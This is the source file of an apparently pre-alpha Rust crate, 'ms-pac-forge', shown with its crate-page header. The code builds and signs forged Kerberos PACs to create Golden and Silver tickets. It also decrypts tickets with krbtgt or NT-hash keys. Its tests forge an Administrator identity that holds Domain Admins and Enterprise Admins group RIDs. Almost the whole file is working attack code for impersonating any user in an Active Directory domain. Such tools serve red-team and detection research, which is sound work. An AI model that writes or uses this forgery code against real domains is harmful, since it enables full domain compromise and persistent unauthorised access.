ms-pac-forge 0.1.0-dev

MS-PAC (Privilege Attribute Certificate) marshaling + Golden/Silver Kerberos ticket forgery. Pure-Rust, byte-validated against a live Server 2025 KDC. Pre-alpha, extracted from adhammer.
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
//! PAC (MS-PAC) marshaling for Kerberos ticket forging (golden / silver tickets).
//!
//! Marshals a forged PAC — KERB_VALIDATION_INFO + the two signatures
//! (SERVER_CHECKSUM + KDC_CHECKSUM) + PAC_CLIENT_INFO + PAC_REQUESTOR +
//! PAC_ATTRIBUTES for KB5020805 enforcement — and can also parse an existing
//! PACTYPE container.
//!
//! The KERB_VALIDATION_INFO NDR layout below (Type Serialization v1,
//! 4-byte-aligned; deferred region ending 8-aligned) was validated
//! byte-for-byte against a live Windows Server 2025 PAC.

use anyhow::{anyhow, bail, Result};
use picky_asn1::wrapper::ExplicitContextTag10;
use picky_asn1_der::application_tag::ApplicationTag;
use picky_krb::crypto::{ChecksumSuite, CipherSuite};
use picky_krb::data_types::{AuthorizationData, EncTicketPart};

use crate::checksum;

// ---------------------------------------------------------------------------
// Small little-endian NDR byte-builder (Type Serialization v1, 4-byte aligned).
// ---------------------------------------------------------------------------
#[derive(Default)]
struct Nd {
    b: Vec<u8>,
}
impl Nd {
    fn u8(&mut self, v: u8) {
        self.b.push(v);
    }
    fn u16(&mut self, v: u16) {
        self.b.extend_from_slice(&v.to_le_bytes());
    }
    fn u32(&mut self, v: u32) {
        self.b.extend_from_slice(&v.to_le_bytes());
    }
    fn u64(&mut self, v: u64) {
        self.b.extend_from_slice(&v.to_le_bytes());
    }
    fn bytes(&mut self, v: &[u8]) {
        self.b.extend_from_slice(v);
    }
    fn align(&mut self, n: usize) {
        while !self.b.len().is_multiple_of(n) {
            self.b.push(0);
        }
    }
    fn rpc_unicode_hdr(&mut self, nchars: usize, referent: u32) {
        self.u16((nchars * 2) as u16);
        self.u16((nchars * 2) as u16);
        self.u32(referent);
    }
    fn cv_wstr(&mut self, s: &str) {
        let units: Vec<u16> = s.encode_utf16().collect();
        self.align(4);
        self.u32(units.len() as u32);
        self.u32(0);
        self.u32(units.len() as u32);
        for u in units {
            self.u16(u);
        }
    }
}

/// FILETIME (100ns ticks since 1601-01-01) for "now".
fn filetime_now() -> u64 {
    use std::time::{SystemTime, UNIX_EPOCH};
    let secs = SystemTime::now()
        .duration_since(UNIX_EPOCH)
        .map(|d| d.as_secs())
        .unwrap_or(0);
    (secs + 11_644_473_600) * 10_000_000
}

const FT_INFINITY: u64 = 0x7fff_ffff_ffff_ffff;

/// Parameters for a forged PAC / ticket.
pub struct ForgeIdentity {
    pub user: String,
    pub rid: u32,
    pub primary_gid: u32,
    pub group_rids: Vec<u32>,
    /// Domain SID sub-authorities after S-1-5 (i.e. `[21, a, b, c]`).
    pub domain_subauths: Vec<u32>,
    pub logon_server: String,
    pub logon_domain: String,
}

impl ForgeIdentity {
    fn requestor_sid(&self) -> Vec<u8> {
        let mut subs = self.domain_subauths.clone();
        subs.push(self.rid);
        sid_bytes(&subs)
    }
}

fn sid_bytes(subauths: &[u32]) -> Vec<u8> {
    let mut v = vec![1u8, subauths.len() as u8, 0, 0, 0, 0, 0, 5];
    for s in subauths {
        v.extend_from_slice(&s.to_le_bytes());
    }
    v
}

fn ndr_sid(nd: &mut Nd, subauths: &[u32]) {
    nd.align(4);
    nd.u32(subauths.len() as u32);
    nd.u8(1);
    nd.u8(subauths.len() as u8);
    nd.bytes(&[0, 0, 0, 0, 0, 5]);
    for s in subauths {
        nd.u32(*s);
    }
}

/// Marshal KERB_VALIDATION_INFO (LOGON_INFO buffer content) as NDR Type Serialization v1.
pub fn build_kerb_validation_info(id: &ForgeIdentity) -> Vec<u8> {
    let now = filetime_now();
    let mut ref_id = 0x0002_0004u32;
    let mut next_ref = || {
        let r = ref_id;
        ref_id += 4;
        r
    };

    let eff_ref = next_ref();
    let full_ref = next_ref();
    let script_ref = next_ref();
    let profile_ref = next_ref();
    let home_ref = next_ref();
    let homedrive_ref = next_ref();
    let groups_ref = next_ref();
    let logonsrv_ref = next_ref();
    let logondom_ref = next_ref();
    let domainid_ref = next_ref();

    let mut f = Nd::default();
    f.u64(now); // LogonTime
    f.u64(FT_INFINITY); // LogoffTime
    f.u64(FT_INFINITY); // KickOffTime
    f.u64(now); // PasswordLastSet
    f.u64(now); // PasswordCanChange
    f.u64(FT_INFINITY); // PasswordMustChange
    f.rpc_unicode_hdr(id.user.encode_utf16().count(), eff_ref);
    f.rpc_unicode_hdr(0, full_ref);
    f.rpc_unicode_hdr(0, script_ref);
    f.rpc_unicode_hdr(0, profile_ref);
    f.rpc_unicode_hdr(0, home_ref);
    f.rpc_unicode_hdr(0, homedrive_ref);
    f.u16(0); // LogonCount
    f.u16(0); // BadPasswordCount
    f.u32(id.rid); // UserId
    f.u32(id.primary_gid); // PrimaryGroupId
    f.u32(id.group_rids.len() as u32);
    f.u32(groups_ref);
    f.u32(0x0000_0020); // UserFlags
    f.bytes(&[0u8; 16]); // UserSessionKey
    f.rpc_unicode_hdr(id.logon_server.encode_utf16().count(), logonsrv_ref);
    f.rpc_unicode_hdr(id.logon_domain.encode_utf16().count(), logondom_ref);
    f.u32(domainid_ref);
    f.bytes(&[0u8; 8]); // LMKey
    f.u32(0x0000_0200); // UAC = NORMAL_ACCOUNT
    f.u32(0);
    f.u64(0);
    f.u64(0);
    f.u32(0);
    f.u32(0);
    f.u32(0);
    f.u32(0);
    f.u32(0);
    f.u32(0);
    f.u32(0);

    f.cv_wstr(&id.user);
    for _ in 0..5 {
        f.cv_wstr("");
    }
    f.align(4);
    f.u32(id.group_rids.len() as u32);
    for rid in &id.group_rids {
        f.u32(*rid);
        f.u32(0x0000_0007);
    }
    f.cv_wstr(&id.logon_server);
    f.cv_wstr(&id.logon_domain);
    ndr_sid(&mut f, &id.domain_subauths);

    let body = f.b;
    let mut out = Nd::default();
    out.bytes(&[0x01, 0x10, 0x08, 0x00, 0xcc, 0xcc, 0xcc, 0xcc]);
    out.u32(0);
    out.u32(0);
    out.u32(0x0002_0000);
    out.bytes(&body);
    while out.b.len() % 8 != 0 {
        out.u8(0);
    }
    let obl = (out.b.len() - 16) as u32;
    out.b[8..12].copy_from_slice(&obl.to_le_bytes());
    out.b
}

/// PAC_CLIENT_INFO (MS-PAC 2.7).
pub fn build_client_info(user: &str) -> Vec<u8> {
    let name: Vec<u16> = user.encode_utf16().collect();
    let mut nd = Nd::default();
    nd.u64(filetime_now());
    nd.u16((name.len() * 2) as u16);
    for u in name {
        nd.u16(u);
    }
    nd.b
}

/// PAC_ATTRIBUTES_INFO (MS-PAC 2.14).
pub fn build_attributes() -> Vec<u8> {
    let mut nd = Nd::default();
    nd.u32(2);
    nd.u32(1); // PAC_WAS_REQUESTED
    nd.b
}

/// PAC_REQUESTOR (MS-PAC 2.15): the requestor's SID (plain, non-NDR).
pub fn build_requestor(id: &ForgeIdentity) -> Vec<u8> {
    id.requestor_sid()
}

const SIG_HMAC_SHA1_96_AES256: i32 = 16;
const KERB_NON_KERB_CKSUM_SALT: i32 = 17;

fn aes256_checksum(key: &[u8], payload: &[u8]) -> Result<Vec<u8>> {
    ChecksumSuite::HmacSha196Aes256
        .hasher()
        .checksum(key, KERB_NON_KERB_CKSUM_SALT, payload)
        .map_err(|e| anyhow!("PAC checksum: {e}"))
}

/// Assemble a signed PACTYPE from the forged buffers.
///
/// `server_key` signs the whole PAC (SERVER_CHECKSUM); `kdc_key` signs the server
/// signature (KDC_CHECKSUM). For a golden TGT both are the krbtgt key; for a
/// silver ticket the server key is the service account's. `rc4` selects the
/// KERB_CHECKSUM_HMAC_MD5 (type -138) signatures for RC4 keys instead of the AES
/// HMAC-SHA1-96 (type 16) ones.
pub fn assemble_pac(
    id: &ForgeIdentity,
    server_key: &[u8],
    kdc_key: &[u8],
    rc4: bool,
) -> Result<Vec<u8>> {
    let sign = |key: &[u8], data: &[u8]| -> Result<Vec<u8>> {
        if rc4 {
            Ok(checksum::hmac_md5_checksum(key, KERB_NON_KERB_CKSUM_SALT, data).to_vec())
        } else {
            aes256_checksum(key, data)
        }
    };
    let mut sig_buf = Nd::default();
    if rc4 {
        sig_buf.u32(checksum::SIG_HMAC_MD5 as u32);
        sig_buf.bytes(&[0u8; 16]);
    } else {
        sig_buf.u32(SIG_HMAC_SHA1_96_AES256 as u32);
        sig_buf.bytes(&[0u8; 12]);
    }
    let sig_template = sig_buf.b;

    let buffers: Vec<(u32, Vec<u8>)> = vec![
        (PAC_LOGON_INFO, build_kerb_validation_info(id)),
        (PAC_CLIENT_INFO_TYPE, build_client_info(&id.user)),
        (PAC_ATTRIBUTES_INFO, build_attributes()),
        (PAC_REQUESTOR, build_requestor(id)),
        (PAC_SERVER_CHECKSUM, sig_template.clone()),
        (PAC_KDC_CHECKSUM, sig_template.clone()),
    ];

    let n = buffers.len();
    let mut data_off = 8 + n * 16;
    let mut descriptors = Nd::default();
    descriptors.u32(n as u32);
    descriptors.u32(0);
    let mut blocks: Vec<(usize, usize)> = Vec::new();
    let mut data = Vec::new();
    for (t, d) in &buffers {
        descriptors.u32(*t);
        descriptors.u32(d.len() as u32);
        descriptors.u64(data_off as u64);
        blocks.push((data_off, d.len()));
        data.extend_from_slice(d);
        while data.len() % 8 != 0 {
            data.push(0);
        }
        data_off = 8 + n * 16 + data.len();
    }
    let mut pac = descriptors.b;
    pac.extend_from_slice(&data);

    let server_sig = sign(server_key, &pac)?;
    let (srv_off, _) = blocks[4];
    pac[srv_off + 4..srv_off + 4 + server_sig.len()].copy_from_slice(&server_sig);

    let kdc_sig = sign(kdc_key, &server_sig)?;
    let (kdc_off, _) = blocks[5];
    pac[kdc_off + 4..kdc_off + 4 + kdc_sig.len()].copy_from_slice(&kdc_sig);

    Ok(pac)
}

/// EncTicketPart is `[APPLICATION 3] SEQUENCE` on the wire.
type EncTicketPartApp = ApplicationTag<EncTicketPart, 3>;

/// key usage 2 — EncTicketPart sealed under the server (here krbtgt) key.
const KEY_USAGE_TICKET: i32 = 2;

// PAC_INFO_BUFFER ulType values (MS-PAC 2.4).
pub const PAC_LOGON_INFO: u32 = 1;
pub const PAC_SERVER_CHECKSUM: u32 = 6;
pub const PAC_KDC_CHECKSUM: u32 = 7;
pub const PAC_CLIENT_INFO_TYPE: u32 = 10;
pub const PAC_TICKET_CHECKSUM: u32 = 16;
pub const PAC_ATTRIBUTES_INFO: u32 = 17;
pub const PAC_REQUESTOR: u32 = 18;

/// One parsed PAC buffer (type + raw payload).
#[derive(Debug, Clone)]
pub struct PacBuf {
    pub ul_type: u32,
    pub data: Vec<u8>,
}

/// A dissected PACTYPE container.
#[derive(Debug, Clone)]
pub struct ParsedPac {
    pub buffers: Vec<PacBuf>,
}

impl ParsedPac {
    pub fn get(&self, ul_type: u32) -> Option<&PacBuf> {
        self.buffers.iter().find(|b| b.ul_type == ul_type)
    }
}

/// Parse a PACTYPE container (MS-PAC 2.3).
pub fn parse_pac(pac: &[u8]) -> Result<ParsedPac> {
    if pac.len() < 8 {
        bail!("PAC too short");
    }
    let c_buffers = u32::from_le_bytes(pac[0..4].try_into().unwrap()) as usize;
    let version = u32::from_le_bytes(pac[4..8].try_into().unwrap());
    if version != 0 {
        bail!("PAC version {version} != 0");
    }
    let mut buffers = Vec::with_capacity(c_buffers);
    for i in 0..c_buffers {
        let base = 8 + i * 16;
        let hdr = pac
            .get(base..base + 16)
            .ok_or_else(|| anyhow!("truncated PAC_INFO_BUFFER {i}"))?;
        let ul_type = u32::from_le_bytes(hdr[0..4].try_into().unwrap());
        let size = u32::from_le_bytes(hdr[4..8].try_into().unwrap()) as usize;
        let offset = u64::from_le_bytes(hdr[8..16].try_into().unwrap()) as usize;
        let data = pac
            .get(offset..offset + size)
            .ok_or_else(|| anyhow!("PAC buffer {i} range {offset}+{size} out of bounds"))?
            .to_vec();
        buffers.push(PacBuf { ul_type, data });
    }
    Ok(ParsedPac { buffers })
}

/// Human name for a PAC buffer type (for analysis dumps).
pub fn buf_name(t: u32) -> &'static str {
    match t {
        1 => "LOGON_INFO (KERB_VALIDATION_INFO)",
        2 => "CREDENTIALS",
        6 => "SERVER_CHECKSUM",
        7 => "KDC_CHECKSUM",
        10 => "CLIENT_INFO",
        12 => "UPN_DNS_INFO",
        16 => "TICKET_CHECKSUM",
        17 => "ATTRIBUTES_INFO",
        18 => "REQUESTOR",
        _ => "?",
    }
}

/// Pull the PAC bytes out of an EncTicketPart's authorization-data:
/// AD-IF-RELEVANT (type 1) → inner AuthorizationData → AD-WIN2K-PAC (type 128).
pub fn extract_pac(auth: &ExplicitContextTag10<AuthorizationData>) -> Result<Vec<u8>> {
    let val = |b: &[u8]| b.iter().fold(0i64, |a, &x| (a << 8) | x as i64);
    for outer in &auth.0 .0 {
        if val(&outer.ad_type.0 .0) == 1 {
            let inner: AuthorizationData = picky_asn1_der::from_bytes(&outer.ad_data.0 .0)
                .map_err(|e| anyhow!("decode AD-IF-RELEVANT: {e}"))?;
            for e in &inner.0 {
                if val(&e.ad_type.0 .0) == 128 {
                    return Ok(e.ad_data.0 .0.clone());
                }
            }
        }
    }
    bail!("no AD-WIN2K-PAC in ticket authorization-data")
}

/// Decrypt an EncTicketPart ciphertext with an AES256 key (usage 2) and return
/// (the decoded enc-ticket-part, the raw PAC bytes). Doubles as a live proof
/// that an AES256 key is correct — AES decryption is integrity-protected, so a
/// wrong key fails here rather than yielding garbage.
pub fn decrypt_ticket_pac_aes256(
    ticket_cipher: &[u8],
    krbtgt_aes256: &[u8],
) -> Result<(EncTicketPart, Vec<u8>)> {
    let cipher = CipherSuite::Aes256CtsHmacSha196.cipher();
    let plain = cipher
        .decrypt(krbtgt_aes256, KEY_USAGE_TICKET, ticket_cipher)
        .map_err(|e| anyhow!("decrypt EncTicketPart with AES256 key (wrong key?): {e}"))?;
    let etp: EncTicketPart = picky_asn1_der::from_bytes::<EncTicketPartApp>(&plain)
        .map_err(|e| anyhow!("decode EncTicketPart: {e}"))?
        .0;
    let auth = etp
        .authorization_data
        .0
        .as_ref()
        .ok_or_else(|| anyhow!("ticket has no authorization-data (no PAC)"))?;
    let pac = extract_pac(auth)?;
    Ok((etp, pac))
}

/// Decrypt an EncTicketPart ciphertext with an RC4 NT-hash key (usage 2).
pub fn decrypt_ticket_pac_rc4(
    ticket_cipher: &[u8],
    nt_hash_key: &[u8],
) -> Result<(EncTicketPart, Vec<u8>)> {
    let plain = checksum::rc4_decrypt(nt_hash_key, KEY_USAGE_TICKET, ticket_cipher)
        .map_err(|e| anyhow!("decrypt EncTicketPart with RC4 key: {e}"))?;
    let etp: EncTicketPart = picky_asn1_der::from_bytes::<EncTicketPartApp>(&plain)
        .map_err(|e| anyhow!("decode EncTicketPart: {e}"))?
        .0;
    let auth = etp
        .authorization_data
        .0
        .as_ref()
        .ok_or_else(|| anyhow!("ticket has no authorization-data (no PAC)"))?;
    let pac = extract_pac(auth)?;
    Ok((etp, pac))
}

#[cfg(test)]
mod tests {
    use super::*;

    fn sample() -> ForgeIdentity {
        ForgeIdentity {
            user: "Administrator".into(),
            rid: 500,
            primary_gid: 513,
            group_rids: vec![513, 512, 520, 518, 519],
            domain_subauths: vec![21, 1111111111, 2222222222, 3333333333],
            logon_server: "DC01".into(),
            logon_domain: "CORP".into(),
        }
    }

    #[test]
    fn logon_info_layout() {
        let li = build_kerb_validation_info(&sample());
        assert_eq!(&li[0..8], &[0x01, 0x10, 0x08, 0x00, 0xcc, 0xcc, 0xcc, 0xcc]);
        let obl = u32::from_le_bytes(li[8..12].try_into().unwrap()) as usize;
        assert_eq!(&li[16..20], &[0x00, 0x00, 0x02, 0x00]);
        assert_eq!(obl, li.len() - 16);
        assert_eq!(li.len() % 8, 0);
        let uid = u32::from_le_bytes(li[120..124].try_into().unwrap());
        assert_eq!(uid, 500);
        let pgid = u32::from_le_bytes(li[124..128].try_into().unwrap());
        assert_eq!(pgid, 513);
    }

    #[test]
    fn pac_container_and_signatures() {
        let key = [0x42u8; 32];
        let pac = assemble_pac(&sample(), &key, &key, false).unwrap();
        let parsed = parse_pac(&pac).unwrap();
        for t in [
            PAC_LOGON_INFO,
            PAC_CLIENT_INFO_TYPE,
            PAC_ATTRIBUTES_INFO,
            PAC_REQUESTOR,
            PAC_SERVER_CHECKSUM,
            PAC_KDC_CHECKSUM,
        ] {
            assert!(parsed.get(t).is_some(), "missing buffer {t}");
        }
        let srv = parsed.get(PAC_SERVER_CHECKSUM).unwrap();
        let stored_srv_sig = srv.data[4..16].to_vec();
        let mut zeroed = pac.clone();
        for i in 0..parsed.buffers.len() {
            let base = 8 + i * 16;
            let t = u32::from_le_bytes(zeroed[base..base + 4].try_into().unwrap());
            let off = u64::from_le_bytes(zeroed[base + 8..base + 16].try_into().unwrap()) as usize;
            if t == PAC_SERVER_CHECKSUM || t == PAC_KDC_CHECKSUM {
                for b in zeroed[off + 4..off + 16].iter_mut() {
                    *b = 0;
                }
            }
        }
        let recomputed = aes256_checksum(&key, &zeroed).unwrap();
        assert_eq!(recomputed, stored_srv_sig, "server checksum mismatch");
        let kdc = parsed.get(PAC_KDC_CHECKSUM).unwrap();
        let recomputed_kdc = aes256_checksum(&key, &stored_srv_sig).unwrap();
        assert_eq!(recomputed_kdc, kdc.data[4..16], "kdc checksum mismatch");
    }

    #[test]
    fn requestor_sid_appends_rid() {
        let id = sample();
        let sid = id.requestor_sid();
        assert_eq!(&sid[sid.len() - 4..], &500u32.to_le_bytes());
        assert_eq!(sid[0], 1);
        assert_eq!(sid[1], 5);
    }
}